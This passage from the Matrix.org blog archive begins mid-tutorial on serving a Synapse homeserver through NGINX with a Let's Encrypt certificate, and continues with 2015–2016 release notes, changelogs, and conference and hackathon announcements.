    server {listen 0.0.0.0:443; server_name example.com www.example.com; ssl on; ssl_certificate /etc/ssl/nginx/examplecom_crt.pem; ssl_certificate_key /etc/ssl/nginx/examplecom_key.pem; ssl_dhparam /etc/ssl/nginx/examplecom_dhparams.pem; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_prefer_server_ciphers on; # mozilla intermediate list, jan 2016 ssl_ciphers "ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA"; ssl_session_cache shared:SSL:50m; access_log /var/log/nginx/examplecom.ssl_access_log main; error_log /var/log/nginx/examplecom.ssl_error_log info; root /var/www/examplecom/htdocs; location /_matrix {proxy_pass http://localhost:8008;}}

It looks pretty similar to our previous server block, except for all that stuff about SSL in the middle. We're pointing NGINX at our certificate, key and Diffie Hellman parameter files and specifying what protocols and ciphers we want our server to talk. The long list here is taken from Mozilla's Server Side TLS guidelines and is their 'Intermediate' list. See that page for more information on what that means, and choose a different list of ciphers if you prefer: just remember we must support at least the ephemeral Diffie Hellman ciphers, or other home servers won't talk to us!

Now let's restart our NGINX and see if it works:

# nginx -s reload

...and that command again, this time with https:

$ curl https://example.com/_matrix/key/v2/server/auto{"old_verify_keys":{},"server_name":"example.com","signatures":{"example.com":{"ed25519:auto":"RWb+w6vHUUokoDgElwG6Cg50ezZvBrzXtJmJIH8jEwI5x0JQ7prn3FwjhbgKTH5jE7J8Ily3HEc4COn4JCCvCA"}},"tls_fingerprints":[{"sha256":"DMbzSZ5Uj7/6p/RT/UtQYJLHm5o0TwBSVYXsqpDdVDs"}],"valid_until_ts":1455203001035,"verify_keys":{"ed25519:auto":{"key":"1YiTDjmE86AlmrbIYE2lyqauV9wPo8jw2kxZAZFfl/Q"}}}

Hooray! You should now be able to open a browser to https://example.com/matrix/ and log in securely over SSL!

Renewing Your Certificate

Now, there's one important step left, and that's to set up renewal for the certificate, otherwise we'll find our shiny new SSL will stop working in three months time. We can use the same acme_tiny command to do this:

$ python ~/acme-tiny/acme_tiny.py --account letsencrypt_examplecom_account.key --csr examplecom.csr --acme-dir challenges/ > examplecom.crt Parsing account key... Parsing CSR... Registering account... Already registered! Verifying example.com... example.com verified! Verifying www.example.com... www.example.com verified! Signing certificate... Certificate signed! $ wget https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem --2016-02-06 23:38:55--  https://letsencrypt.org/certs/lets-encrypt-x3-cross-signed.pem Resolving letsencrypt.org... 23.66.17.98, 2a02:26f0:60:489::2a1f, 2a02:26f0:60:481::2a1f Connecting to letsencrypt.org|23.66.17.98|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 1675 (1.6K) [application/x-x509-ca-cert] Saving to: ‘lets-encrypt-x3-cross-signed.pem' lets-encrypt-x3-cross-signed.pe 100%[======================================================>]   1.64K  --.-KB/s   in 0s 2016-02-06 23:38:55 (61.5 MB/s) - ‘lets-encrypt-x3-cross-signed.pem' saved [1675/1675] $ cat examplecom/examplecom.crt lets-encrypt-x3-cross-signed.pem >examplecom/examplecom_cert_chain.crt

Synapse will automatically pick up the new certificate, but we'll need to tell NGINX to reload:

# nginx -s reload

Setting up a cronjob to automate this is left as an exercise to the reader!

Federation behind the HTTP Proxy

If you like, you can stop reading now: our clients can access our home server securely but other home server are still talking to our Synapse directly on port 8448. This is fine, and if you're happy with this, you can stop reading now. But remember how we made sure other Synapses could talk to our NGINX? Well, why not put federation behind our new web server too?

Now, we need to do a couple of things to make this work: were you looking carefully at the JSON those curl commands returned? If you were, you might have noticed a key called, 'tls_fingerprints'. Our home server serves up a fingerprint of the TLS certificate its using from this API, and we've just given our web server a different certificate, so we need to give Synapse our new certificate.

How are we going to tell other home servers to talk to our NGINX instead? Well, ultimately we're going to change our DNS SRV record to point at port 443 instead of port 8448, but that change could take a while to propagate through caches, so let's test it by having our NGINX listen on port 8448 temporarily. We can do this by copying that same block from above, but with a different port:

    server {listen 0.0.0.0:8448; server_name example.com www.example.com; [etc]

Don't restart NGINX just yet: we need to tell our Synapse to stop listening on that port first, so lets do that and give it our new certificate:

$ nano /home/synapse/synapse/homeserver.yaml

Now we'll want to find and edit the following lines:

tls_certificate_path: "/etc/ssl/nginx/examplecom_crt.pem" # We can comment this out, as long as we set no_tls to true below # tls_private_key_path: "/whatever/path/synapse/generated" # PEM dh parameters for ephemeral keys tls_dh_params_path: "/whatever/path/synapse/generated" # Turn off TLS everywhere (this overrides the listeners section below) no_tls: True - port: 8008 tls: false # We can bind to only localhost since only the local nginx needs to hit this bind_address: '127.0.0.1' type: http # Set this so that Synapse obeys nginx's X-Forwarded-For headers, then IP addresess will be correct in Synapse's logs x_forwarded: true resources: - names: [client, webclient] compress: true - names: [federation] compress: false

Note: if you have an old enough config file that you have 'bind_host' and 'bind_port' directives, now is the time to remove them.

Now let's restart Synapse and our web server to swap over what's listening on our port 8448:

$ synctl restart # nginx -s reload

Now let's try that test again on port 8448:

$ curl https://example.com:8448/_matrix/key/v2/server/auto{"old_verify_keys":{},"server_name":"example.com","signatures":{"example.com":{"ed25519:auto":"bdca31805e4209f6ff4d644251a29d0cb1dc828a4d6131c57cf8305288f337c0"}},"tls_fingerprints":[{"sha256":"1d9ec66599e229654a79f28e26675fdeb585027553af6d581926e821a6b6527c"}],"valid_until_ts":1455203001035,"verify_keys":{"ed25519:auto":{"key":"1YiTDjmE86AlmrbIYE2lyqauV9wPo8jw2kxZAZFfl/Q"}}}

Notice anything different? The tls_fingerprints part has changed because we now have a different certificate. The signatures/example.com/ed25519:auto value has changed too: that's because that part is a signature of the rest of JSON object, so changing the tls_fingerprints has caused this to change too.

And that's it! If you're happy everything is working, you can then change your DNS SRV record to point at port 443 instead of 8448, then after leaving a few days for the change to propagate through caches, remove the extra server block from your nginx.conf and restart to stop your nginx listening on port 8448.

Matrix in Japan!

2016-02-09 — General — 

こんにちは

Matrix is on its way to Japan where Kegan is attending the TADHack-mini (Feb 13th and 14th) and WebRTC Conference (Feb 16th and 17th).

Kegan will help hackers with their projects during the TADHack, but first, he will give a talk on Matrix and how it can be used. We are again awarding a trossen robot to the best hack using Matrix, and we are as always curious to see what kind of cool and crazy ideas people will come up with!

A couple of days later, Kegan will be giving a talk during the WebRTC Conference: "The missing signalling layer for WebRTC".

Both of the talks will be live-translated, and there will also be a translator available during the events, so please come and say hello to Kegan-san! As always, we are also available in the Matrix HQ room, via a client like Vector or any other client!

Item_A_150x100

Matrix at 32C3 Congress!

2015-12-01 — General — 

fairydust Matrix will be represented at the 32nd Chaos Computer Club, Dec 27th-30th, 2015. We hope to be arranging an assembly, where people can come along to learn about Matrix and our recent work on end-to-end encryption, find out what they can use Matrix for - and also do some hacking at the same time!

UPDATE: We've snagged a table for the assembly at: "hackcenter room with C-base, a table along the pathway". In practice only Mjark is there from Matrix and may be moving around, so may be easiest to coordinate meetups via #32C3:matrix.org

The session is free of charge, although you do need a ticket to the Congress itself.

If you are interested, please register by sending an email to [email protected] All you need for the session is curiosity - but do bring your own laptop if you want to hack as well!

Anyone is welcome to join - it will basically be a fairly open-ended chat about all things relating to Matrix, and a good chance to do some deep digging into Matrix itself.

Hope to see you there!

Matrix Console iOS 0.5.6

2015-11-22 — General — 

In addition to the Android release a couple of days ago, we also released a new version of Matrix Console iOS: v0.5.6!

This release includes a new version of MatrixKit (v0.2.7) that you can take advantage of in your MatrixKit powered app. There are several changes in MatrixKit since the last release, including improved performance, better handling of unrecognized certificates and fixes of reported crash issues. We have also introduced read receipts, improved the chat history display, made room invites more obvious, and fixed a whole lot of JIRA issues.

You can find the full list of changes in the MatrixKit CHANGES.rst and the Matrix Console iOS CHANGES.rst files.

Android Matrix Console 0.5.2

2015-11-20 — General — 

The Android Matrix Console app v0.5.2 is currently in the queue to go live on the Play store!

This release includes:

  • Read receipts!
  • Call ring volume is now based on device ring volume
  • Accessibility tweaks from Peter Vágner - thanks!
  • Better SSL support for older devices
  • We fixed an echo problem in Android<->Android VOIP calls
  • A ringback tone for placing outbound calls was added
  • Lots of small improvements, e.g. better recent message display and add account dialog
  • Fixed several reported issues/crashes - for the full list look at the CHANGES files in the console and SDK projects

Get it RSN from the Google play store!

Enjoy! And please do let us know your feedback in #matrix:matrix.org!

Synapse 0.11.0 is here!

2015-11-17 — General — 

Today, we are releasing Synapse version 0.11.0. In the last week, we have had two release candidates, and this release also includes changes in v0.10.1-rc1 from October.

New features include a new Search API and better options for logging in (CAS and login fallback support) - thanks to Steven for contributing CAS support. We also introduce room tagging and as usual, there are plenty of improvements and fixes. For the full info, see the changelog below.

To upgrade, go read https://github.com/matrix-org/synapse/blob/master/UPGRADE.rst - to install for the first time, go to https://github.com/matrix-org/synapse/blob/master/README.rst.

Changes in synapse v0.11.0 (2015-11-17) =======================================
  • Change CAS login API (PR #349)

Changes in synapse v0.11.0-rc2 (2015-11-13)

  • Various changes to /sync API response format (PR #373)
  • Fix regression when setting display name in newly joined room over federation (PR #368)
  • Fix problem where /search was slow when using SQLite (PR #366)

Changes in synapse v0.11.0-rc1 (2015-11-11)

  • Add Search API (PR #307, #324, #327, #336, #350, #359)
  • Add 'archived' state to v2 /sync API (PR #316)
  • Add ability to reject invites (PR #317)
  • Add config option to disable password login (PR #322)
  • Add the login fallback API (PR #330)
  • Add room context API (PR #334)
  • Add room tagging support (PR #335)
  • Update v2 /sync API to match spec (PR #305, #316, #321, #332, #337, #341)
  • Change retry schedule for application services (PR #320)
  • Change retry schedule for remote servers (PR #340)
  • Fix bug where we hosted static content in the incorrect place (PR #329)
  • Fix bug where we didn't increment retry interval for remote servers (PR #343)

Changes in synapse v0.10.1-rc1 (2015-10-15)

  • Add support for CAS, thanks to Steven Hammerton (PR #295, #296)
  • Add support for using macaroons for access_token (PR #256, #229)
  • Add support for m.room.canonical_alias (PR #287)
  • Add support for viewing the history of rooms that they have left. (PR #276, #294)
  • Add support for refresh tokens (PR #240)
  • Add flag on creation which disables federation of the room (PR #279)
  • Add some room state to invites. (PR #275)
  • Atomically persist events when joining a room over federation (PR #283)
  • Change default history visibility for private rooms (PR #271)
  • Allow users to redact their own sent events (PR #262)
  • Use tox for tests (PR #247)
  • Split up syutil into separate libraries (PR #243)

Redecentralize Conference - taking back the net

2015-10-19 — General — 

rdc15 This weekend, I went to the first Redecentralize Conference. I thought it was a good mix of traditional tech talks and sessions where we discussed how to make people aware of why the net needs to be decentralised. There were a lot of interesting people and we had some really thought-provoking discussions. Sessions in the main room were filmed and can be found here.

I did a talk on Matrix in one of the tutorial rooms, and it was great to see people with lots of questions and comments in the session. If you missed the talk - or have further questions: the FAQ might have the answer, or maybe the Spec itself - and there's always #matrix:matrix.org where you can find me and the whole matrix team.

At the end of day-panel on the first day, the question "are there any projects that are ready for mass adoption" was posed, and Ira picked Matrix as her answer, which was great to hear. We have come a long way in the last year, and I think Matrix now has "enough" features to be a realistic option for your IM/VoIP and group chat needs.

I really enjoyed redecentralize and hope it will be repeated! Thanks to the redecentralize.org gang for arranging it!

Android Matrix Console 0.5.1 released!

2015-10-07 — General — 

Following from the addition of voice and video calling in the previous release, we have added some new features and fixed more bugs - and released v0.5.1 of the Android version of the Matrix Console app.

Please note that installing this update will log you out of the app and require you to sign in again!

This release includes:

  • Support for self-signed certificates
  • Support for recording and sending video messages
  • We have improved the performance when you resume the app
  • We fixed a bug where a picture/video would disappear after rotation
  • Fixed several reported issues/crashes - for the full list look at the CHANGES files in the console and SDK projects

Get it now from the Google play store!

Enjoy! And please do let us know your feedback in #matrix:matrix.org!

Congrats to our TADHack Matrix Winner!

2015-10-06 — General — 

A weekend of intense prototyping and hacking at TADHack-mini Chicago is over, and we were very happy to again see some really interesting projects using Matrix!

Team 'Vivo' - Nestor Bermudez and Arin Sime - used Matrix, Tropo, and Telestax to create an Apple Watch app that notifies your loved ones when you are having a heart attack. Find more information here - and a recording of their presentation here. This project won the Telestax prize.

Charles Solar and Jiang Shuyang used Matrix and Flowroute resources for a platform independent app called 'Samaritan' which allows users to post help requests like "I got a flat tire!" or "My computer crashed!". Others can then call / text / video chat with them to solve their problem. A video of their presentation can be seen here. This hack won the Flowroute prize.

Vladimir Beloborodov demoed his award-winning Matrix-hack from WebRTC Paris: using Matrix just to set up a WebRTC connection between his iPad and robot, thus proving that you can have a robot with telepresence functions without having to depend on a remote server - see his demo here.

Adnan Baleh, Caterina Lazaro, Javier Garcia, Ernesto G. Grabwosky, Sergio Gil and Marion Le Callonnec - Team 'ProbatioNerds' - created a mobile Matrix app to control the provided Trossen Robotics HR-OS1 Humanoid Endoskeleton robot over the Internet - even making it dance the Macarena! Presentation video can be seen here. We awarded team 'ProbatioNerds' the TADHack Matrix prize - an HR-OS1 - and we hope the team and the robot will keep learning new tricks and moves!

[caption id="attachment_1307" align="aligncenter" width="1024"]Daniel presenting the HR-OS1 to team 'ProbatioNerds' Daniel presenting the HR-OS1 to team 'ProbatioNerds' (Photo courtesy of Alan Quayle)[/caption]

We keep being impressed by the quality of projects developed at TADHacks - remember, in practice you only have around 12 hours to work on your hack. Congrats to all who participated - and thanks to Alan for arranging it!

Matrix Console iOS 0.5.3

2015-09-21 — General — 

Heads up that we've just pushed the big red release button on Matrix Console iOS 0.5.3. This includes a bunch of updates to MatrixKit that you can take advantage of in your MatrixKit powered app. These include:

  • Animated Gif support! banana
  • Support for pasting images, videos and documents into the input field
  • Inclusions of matrix IDs when searching
  • Options to customise the thumbnail thumbnail display box
You can see the full MatrixKit change list in CHANGES.rst.

Happy GIFing!

VoIP calling now supported in Android Matrix Console!

2015-09-10 — General — 

The Android Matrix Console app has been updated to v0.4.4, and now supports voice and video calling! Get it now from the Google play store!

In addition to the new voice and video support, and all the related call management, this release includes:

  • One-tap "autocomplete": clicking on a displayname inserts that into the message box
  • Click on any (textual) event to copy its content
  • The app can now be installed either in device memory or on the SD card
  • Notifications can be enabled per room
  • Fix for an edge-case where messages could be duplicated
  • Fixed several reported issues/crashes - for the full list look at the CHANGES files in the console and SDK projects

Enjoy! And please do let us know your feedback in #matrix:matrix.org!

Android Matrix Console 0.4.2 & 0.4.3

2015-07-07 — General — 

In the spirit of releasing early and often, we have pushed Android Matrix Console 0.4.2 to the Google Play store.

This release comes with a few new features as well as many bugfixes:

  • A notification settings page has been added
  • Added an image slider (access by tapping an image)
  • Improved the management of multiple accounts
  • Retaining filenames on upload
  • Fixed the causes of two crashes that were reported via Google Analytics
  • Several bugfixes - see full changelog here
Update:

We have pushed another update, version 0.4.3, after a bug was reported that affected some users upgrading to 0.4.2:

  • Fixed a bug where updating to 0.4.2 caused the history list to be empty
  • Added presence information on avatars in rooms

Android Matrix Console 0.4.1

2015-06-30 — General — 

Super-quick post just to announce that we have released a new version of the Android Matrix Console. This version fixes a problem where the Playstore wouldn't let some Android devices install the app just because they don't have a SIM card, due to a required permission that wasn't really needed anyway.

Grab the latest version from the play store!

Synapse 0.9.2 released

2015-06-12 — General — 

Happy Friday everyone!

Over the past two weeks, we have been hunting down some more performance issues in Synapse, as well as fixing a few potential bugs in the new backfill feature that we introduced in 0.9.1. For those that were having issues, this release should really help speed up when your server joins larger remote rooms.

We have also been busy hacking on end-to-end encryption, which is very exciting. Hopefully we will have more details to share about that soon!

Get v0.9.2 now from http://github.com/matrix-org/synapse.

Changes in synapse v0.9.2 (2015-06-12) ======================================

General:

  • Use ultrajson for json (de)serialisation when a canonical encoding is not required. Ultrajson is significantly faster than simplejson in certain circumstances.
  • Use connection pools for outgoing HTTP connections.
  • Process thumbnails on separate threads.

Configuration:

  • Add option, gzip_responses, to disable HTTP response compression.

Federation:

  • Improve resilience of backfill by ensuring we fetch any missing auth events.
  • Improve performance of backfill and joining remote rooms by removing unnecessary computations. This included handling events we had previously handled as well as attempting to compute the current state for outliers.

Global TADHack hackathon

2015-06-05 — General — 

TADHack2015-global-banner-460x860

Next weekend, June 13 and 14, the global TADHack takes place all over the world. You can participate on site or remotely, and there are a lot of different prizes to be won - in total the prize pot is worth $35k!

For the best two hacks using our technology, we will award a whole lot of Tessel modules! Tessel is a new breed of development board that runs entirely on Node.js, and they come with different modules you can plug in - for more information, see: getting started & sample projects.

Both prizes will include several tessel modules, including:

tessel

  • multiple core tessel boards
  • multiple servo modules and many servo motors
  • multiple ambient modules
  • multiple accelerometer modules
  • camera module
  • GPS module with antenna
  • microsd module
  • bluetooth module
  • audio module
  • climate module
  • relay module
  • RFID module
  • DIY module kit

Matrix.org will be present at the London site, Idea London in Shoreditch, where we will help both local and remote participants (via #matrix:matrix.org) using the Matrix APIs as part of their hacks.

So if you have some spare time next weekend - why not have a think about what could be a cool hack and join us for the global TADHack event! See you there!

Matrix wins \"Most Entertaining Demo\" at Kamailio World!

2015-06-01 — General — 

We are back from Kamailio World, where we presented and participated in James Body's "Dangerous Demos". We were racing against the deadline, but managed to join the demos at the very last minute - and even win the award for "Most Entertaining Demo"!

mostentertainingdemo

It was great to catch up with old acquaintances - and meet many new ones! There were only around 150 people at Kamailio World, but given the area of expertise is very specialised, you can pretty much start talking to anyone and have a really interesting conversation.

Here are the slides of Matthew's presentation, (also available as .pdf) and a video of the presentation:

A video from the dangerous demo event is available here:

The Parrot Drone we use in the demo has a 14 megapixel fisheye camera with advanced stabilization techniques which means that you can't actually see what happened when everybody went "ooh" - I assure you the "flip" command does exactly what you would expect!

Thanks to everybody who talked to us at Kamailio - and as always, come find us in the #matrix:matrix.org room on Matrix!

Silicon Milkroundabout

2015-05-11 — General — 

Just a quick note to say thanks to everyone who came to talk to us at SMR9 yesterday. SMR is a great way for developers looking for jobs and startups needing engineers to have a chat.

We had a very busy day with plenty of people interested in Matrix and eager to join the team. We received a lot of CVs and will get back to you - but in the meantime please check out our code and come say hi in the Matrix HQ room, using any of these Matrix clients!

dave

If you missed SMR, or just generally is interested in working for Matrix.org - please feel free to send your CV to us - we need all kinds of developers, with skills ranging from backend and frontend to mobile development!

Announcing Synapse 0.9.0 and Matrix Angular SDK 0.6.6!

2015-05-11 — General — 

We have pushed out a new release of both Synapse, our reference server implementation, and matrix-angular-sdk, our reference webclient implementation!

The major new feature in Synapse is that you can now run Synapse backed by a PostgreSQL database. This increases performance and allows Synapse to scale much better! This, as well as various performance related bug fixes, should make things much snappier than before. Of course, you can still run SQLite; it's up to you what you want to use.

In the webclient you can now change or reset your password - we have had this feature requested a few times (although honestly I'm surprised it hasn't been mentioned even more - maybe people are just better than me at remembering/managing their passwords) so this should be a welcome addition! We also fixed a memory leak in Angular, so again expect better performance!

Finally, we have done some work on improving the Application Service API, making it more reliable and secure. Please see the upgrade notes as well as the full changelog below.

Changes in Synapse v0.9.0:

General:

  • Add support for using a PostgreSQL database instead of SQLite. See postgres.rst for details.
  • Add password change and reset APIs. See Registration in the spec.
  • Fix memory leak due to not releasing stale notifiers - SYN-339.
  • Fix race in caches that occasionally caused some presence updates to be dropped - SYN-369.
  • Check server name has not changed on restart.
  • Add a sample systemd unit file and a logger configuration in contrib/systemd. Contributed Ivan Shapovalov.

Federation:

  • Add key distribution mechanisms for fetching public keys of unavailable remote home servers. See Retrieving Server Keys in the spec.

Configuration:

  • Add support for multiple config files.
  • Add support for dictionaries in config files.
  • Remove support for specifying config options on the command line, except for:
    • --daemonize - Daemonize the home server.
    • --manhole - Turn on the twisted telnet manhole service on the given port.
    • --database-path - The path to a sqlite database to use.
    • --verbose - The verbosity level.
    • --log-file - File to log to.
    • --log-config - Python logging config file.
    • --enable-registration - Enable registration for new users.

Application services:

  • Reliably retry sending of events from Synapse to application services, as per Application Services spec.
  • Application services can no longer register via the /register API, instead their configuration should be saved to a file and listed in the synapse app_service_config_files config option. The AS configuration file has the same format as the old /register request. See application_services.rst for more information.
Changes in Matrix Angular SDK 0.6.6:

Features:

  • Add password change and reset feature using v2_alpha APIs.

Bug fixes:

  • Fix memory leak caused by not removing a watcher on the root scope.

Matrix at WebRTC Conference & Expo, Miami

2015-05-11 — General — 

webrtc-logo-footer Matrix.org is happy to be sponsoring and talking at the WebRTC Conference and Expo in Miami, Florida, 12-14 May. Both Amandine and Matthew will be there - please come have a chat by booth #22! This is one of the longest running WebRTC Events, and Matthew is delivering one of the keynotes of the conference on Wednesday 4:00-4:30pm in room K-07.

Matthew will also participate in the "Open Source Options for WebRTC Development" session in room D2-02 at 9:50am on Wednesday (full agenda here).

Finally, Matrix will also be part of the WebRTC World Demos in room X-07 sometime between 4:30 and 7:30pm on Wednesday. Expect a dangerous demo!

Matrix at Fluent

2015-04-22 — General — 

This week, Matrix is visiting San Francisco for Fluent, a web development conference over three days, with events ranging from 2-day training sessions to 10-min showcase presentations.

fluent

I had the opportunity to participate in the latter: Tuesday's Solutions Showcase in the Community Lounge. The presentation was recorded, here is the video and slides.

I also had a 30-min in-depth talk earlier today, where I went through a case study of adding Matrix to your existing app (slides). After evaluating options, we decided to use the flux-chat example by Facebook - it's a basic chat application that uses their internal message dispatcher and showcases how a React/Flux app works.

The code for the original example can be found here, and the complete diff of changes necessary to integrate it with Matrix - using the matrix-js-sdk - can be found here (thanks to Matthew for yet another late-night hack!). I think it's very cool to see how easily their chat example can be turned into a Matrix client, albeit a fairly basic one! Here is an online version if you want to try it out!

flux-chat-orgflux-chat-matrix
The original flux-chat and the Matrix-enabled flux-chat

If you have any questions or comments, we are still at Fluent - you can catch us in the exhibition hall in booth #208 - or virtually, as always, in #matrix:matrix.org!

Back from the WebRTC and Kranky Geek conferences

2015-04-17 — General — 

This week, Matthew and myself went to the WebRTC conference and its related Kranky Geek event in sunny London.

Matrix at WebRTC conference London 2015

Matrix had a speaker slot in both events; the first talk was "Proposing an open interoperable signalling layer for WebRTC" (slides).

As I was talking to people in the tea-breaks between sessions, I was actually surprised at the amount of people who not only knew about Matrix, but who had been following eagerly since the early days, and had questions about specific features and recent developments!

Later in the day it was time for the Kranky Geek, and the talk then was a bit more technical: "Interoperable HTTP Signalling with Matrix" (slides). The talk included a "dangerous demo" where we made a WebRTC call from our Matrix iOS App to our webclient for the first time - thanks to the OpenWebRTC team for helping us make the demo!

matrix-krankygeek

What's great about these kind of events is the feedback and discussion following talks; lots of people have relevant experiences and opinions that they are happy to share, and of course questions on how exactly different features actually work.

It's always great to meet new people and have lots of various discussions. Hopefully we have got a few more people interested in Matrix - we have already seen some new joiners in the #matrix:matrix.org room!

Next up is Fluent in San Francisco next week, where I will be speaking.

Video: IoT through Matrix

2015-04-08 — General — 

Earlier this year we went to FOSDEM - as reported in an earlier blog post.

Both the recording equipment and the video team volunteers were new this year, so some problems were encountered, which means that our lightning talk video unfortunately was lost. However, our talk in the IoT-devroom is now available:

(Click here to download the video)

The slides are also available. You can check out the slides from the lightning talk as well.

As always, questions and comments are very welcome in the #matrix:matrix.org room!

Synapse 0.8.1 is here!

2015-03-26 — General — 

Heads up that we released Synapse 0.8.1 a little while back, but we've all been too busy writing software to announce it... you know how it goes. Anyway, here are the changes:

  • Disable registration by default. New users can be added using the included register_new_matrix_user script or by enabling registration in the config.
  • Add metrics to synapse. To enable metrics use config options enable_metrics and metrics_port.
  • Fix bug where banning only kicked the user.
Note that first one in particular: if you set up a new install, you won't be able to register new users using the API by default. This means random people on the Internet can't create accounts on your Home Server unless you actually choose to let them. Also, if you were trying to ban users and noticed that didn't work... yeah, we fixed that.

Okay, back to writing software again!

TADHack-mini London

2015-03-19 — General — 

It's competition time! Matrix is sponsoring TADHack-mini London, which is a two-day hackathon with focus on WebRTC technology, happening on April 11 and 12 at IDEA London. We will award a Parrot Bebop Drone (which itself can be hacked via the ARDroneSDK3) to the two best hacks using Matrix, and we can't wait to see what kind of ideas people will come up with!

Parrot Bebop DroneWe strongly encourage anyone to get involved - have a look at our Development Resources (scroll down a bit) and have a think of what you can create within the 16-hour timeframe. The reference Matrix web client already supports WebRTC - you can play with this by registering a user via the matrix.org web client (or you can check out the reference web client and run it on your own box), inviting a user to a 1-1 chat (click on their avatar and "start chat") and then clicking the microphone or video camera icon in the top right to start a voice/video call.

We brainstormed some ideas for further WebRTC/Matrix work in our GSoC (Google Summer of Code) project proposals, for example "Implementing WebRTC support in Mobile apps" and "Multi-way voice and video conferencing". These are very probably too extensive for the 16-hour hackathon, but might provide some ideas for smaller hacks.

We will be at the event to offer mentoring and help, but you can already start thinking about potential hacks - come talk to us in the #matrix:matrix.org room!

Welcoming the OpenMarket Matrix Gateway!

2015-02-26 — General — 

Last week, we mentioned that we released part of a first implementation of the long awaited Application Service (AS) API as part of the 0.7.1 release. The AS API makes it dead simple to connect your service into the Matrix ecosystem using an existing standard Matrix server.

And today we're very excited that the first implementation using this API has gone live! OpenMarket just announced the OpenMarket Matrix Gateway which lets you chat with non-Matrix users via their phone number: as you send and receive instant messages from your Matrix chat room, they'll receive and send SMSes back to you, which will appear in your Matrix room as IM, extending your reach to any non-Matrix user.

To use the new OpenMarket service just login to the matrix.org webclient and start a chat with your target mobile phone user by identifying him/her with a Matrix ID in the format @+<msisdn>:matrix.openmarket.com (msisdn being the internationally formatted phone number of your contact) - any messages to them will be sent via OpenMarket's SMS service. The SMSes will be sent from dynamically assigned numbers so that the recipient is able to respond to your message(s) - and the user will first receive an "opt-in" message from the OpenMarket Matrix Gateway to invite them to the conversation (just as they would if you invited them to a conversation in Matrix). Note that there are a finite set of these dynamically assigned numbers: OpenMarket reserves the right to recycle contact numbers if they have not been used to send or receive traffic for more than 2 months.

Sending SMS through the OpenMarket Matrix Gateway will be free during the introductory beta testing period, and users will be warned when that changes - although usage is subject to a per-user fair-usage policy. Despite the free service today, you'll have to associate a valid PayPal account to your account in order to send messages for security purposes. OpenMarket will not (and cannot) charge this account without your consent. You can associate your PayPal account via the settings page of any reference Matrix web client which has been configured to be aware of the OpenMarket Matrix Gateway - for example, the matrix.org webclient.

You'll also have to accept the OpenMarket Matrix API End User License Agreement to use the service.

The OpenMarket Matrix Gateway is a great example of how the Application Service API can be used to extend Matrix, we're really happy to see it live and hope it's going to give our community lots of ideas! There are a lot of services that could mutually benefit from being integrated with Matrix, and the AS API makes this much easier to accomplish!

Thus, we strongly urge you to have a look at the AS API - and as always we are happy to answer any questions at #matrix:matrix.org!

Synapse 0.7.1 released - with Application Service API

2015-02-19 — General — 

Hi all,

We released Synapse 0.7.1 this morning - This release includes more critical federation stability and performance updates - please upgrade as soon as you can!. You can get the code and installation instructions from http://github.com/matrix-org/synapse as normal.

Update: You can also install and run Synapse now via Docker, thanks to a Dockerfile at https://registry.hub.docker.com/u/silviof/docker-matrix/ contributed today by Silvio Fricke. Thanks Silvio!!

Other than the federation improvements, the big new feature that lands here is the long-awaited Application Service API. This is a set of simple extensions to the Client-Server API to make it much easier to build powerful gateways and other application logic on top of Matrix. You can think of it being somewhere between IRC Services, IMS application services and XMPP components - but with the simplicity of an IRC bot. The extensions let you register application services as privileged Matrix clients, and create virtual users and virtual rooms in bulk within Matrix (e.g. bridging an entire IRC network into Matrix). The API also lets your application service receive inbound events as HTTP pushes rather than having to poll. The end result is that it's suddenly become a lot easier to bridge existing communities with Matrix!

We'll post another blog post shortly to give a lot more information; in the interim you can read more about it in the newly updated spec at http://matrix.org/docs/spec/#application-service-api.


Changes in synapse v0.7.1 (2015-02-19) ======================================
  • Initial alpha implementation of parts of the Application Services API. Including:

    • AS Registration / Unregistration
    • User Query API
    • Room Alias Query API
    • Push transport for receiving events.
    • User/Alias namespace admin control
  • Add cache when fetching events from remote servers to stop repeatedly fetching events with bad signatures.

  • Respect the per remote server retry scheme when fetching both events and server keys to reduce the number of times we send requests to dead servers.

  • Inform remote servers when the local server fails to handle a received event.

  • Turn off python bytecode generation due to problems experienced when upgrading from previous versions.

Back from FOSDEM!

2015-02-04 — General — 

FOSDEM was great fun! Two days full of conferences and demos; lots of interesting technologies and interested people - and most of all: talking to so many new faces about Matrix and potential uses and integration ideas.

Both our lightning talk and IoT-devroom talk were completely filled up with huge queues outside (sorry folks), and our demos seemed to go down fairly well. In fact several people set up their own homeserver and joined the federated network of Matrix servers during FOSDEM itself!

Here's a view from our stand, from our lightning talk and from our IoT-devroom talk.

If you missed the talks, recordings will (soon) be available from the FOSDEM site (links will be added here once available) - in the meantime you can check out the slides here: lightning talk and IoT-devroom talk.

Thanks to everyone who came to have a chat about Matrix and/or help with setting up their own homeserver (or to play with Sentinel, our mascot) - please do reach out to us via our Matrix HQ room or IRC (#matrix on freenode) if you have any problems - or want to help us fix our python packaging ;) Now is a great time to get involved as we are currently landing new APIs and soon will be offering an Application Server API to ease bridging to other services.